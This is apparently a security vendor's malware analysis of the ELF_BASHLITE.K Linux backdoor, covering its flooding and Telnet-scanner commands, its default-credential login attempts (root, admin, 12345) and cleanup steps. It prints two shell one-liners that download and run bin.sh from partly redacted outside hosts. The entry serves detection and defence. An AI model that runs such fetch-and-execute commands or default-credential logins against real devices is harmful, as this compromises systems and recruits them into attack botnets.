ELF_BASHLITE.K

October 14, 2014
 Analysis by: Christopher Daniel So
 PLATFORM:

Linux, UNIX

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Backdoor

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet

This backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes commands from a remote malicious user, effectively compromising the affected system.

  TECHNICAL DETAILS

File Size:

Varies

File Type:

ELF

Memory Resident:

Yes

Initial Samples Received Date:

13 Oct 2014

Payload:

Executes files

Arrival Details

This backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

This malware arrives via the following means:

Backdoor Routine

This backdoor executes the following commands from a remote malicious user:

  • GETLOCALIP - Get local IP address
  • SCANNER ON - Start Telnet scanner
  • SCANNER OFF - Stop Telnet scanner
  • HOLD - Pause or delay attack for specifiied duration
  • UDP - Perform UDP flooding
  • TCP - Perform TCP flooding
  • KILLATTK - Terminate attack thread
  • LOLNOGTFO - Terminate itself
  • DNS
  • JUNK
  • GETFLOOD
  • PING

It connects to the following URL(s) to send and receive commands from a remote malicious user:

  • {BLOCKED}3.{BLOCKED}4.93.52:3333

NOTES:

If the command SCANNER ON is received, the Telnet forked process will attempt to connect to port 23 of randomly generated IP address to check it can remotely login using Telnet. Once a connection is successful, it attempts to log into the remote computer using the following credentials:

User names:

  • root
  • admin

Passwords:

  • root
  • admin
  • 12345

If it was able to successfully log into the system, it sends the following commands to download and execute a file in the remote computer:

  • cd /tmp; busybox wget http://{BLOCKED}9.{BLOCKED}3.37.115/.{BLOCKED}ggers/bin.sh; busybox tftp -r bin.sh -g {BLOCKED}9.{BLOCKED}3.37.115;sh bin.sh; echo -e '\x62\x69\x6e\x66\x61\x67\x74'
  • cd /tmp/; busybox wget http://{BLOCKED}6.{BLOCKED}0.250.37/.{BLOCKED}ggers/bin2.sh; busybox tftp -r bin2.sh -g {BLOCKED}6.{BLOCKED}0.250.37; sh bin2.sh; echo -e '\x62\x69\x6e\x66\x61\x67\x74'

  SOLUTION

Minimum Scan Engine:

9.700

FIRST VSAPI PATTERN FILE:

11.208.06

FIRST VSAPI PATTERN DATE:

13 Oct 2014

Restart in normal mode and scan your computer with your Trend Micro product for files detected as ELF_BASHLITE.K. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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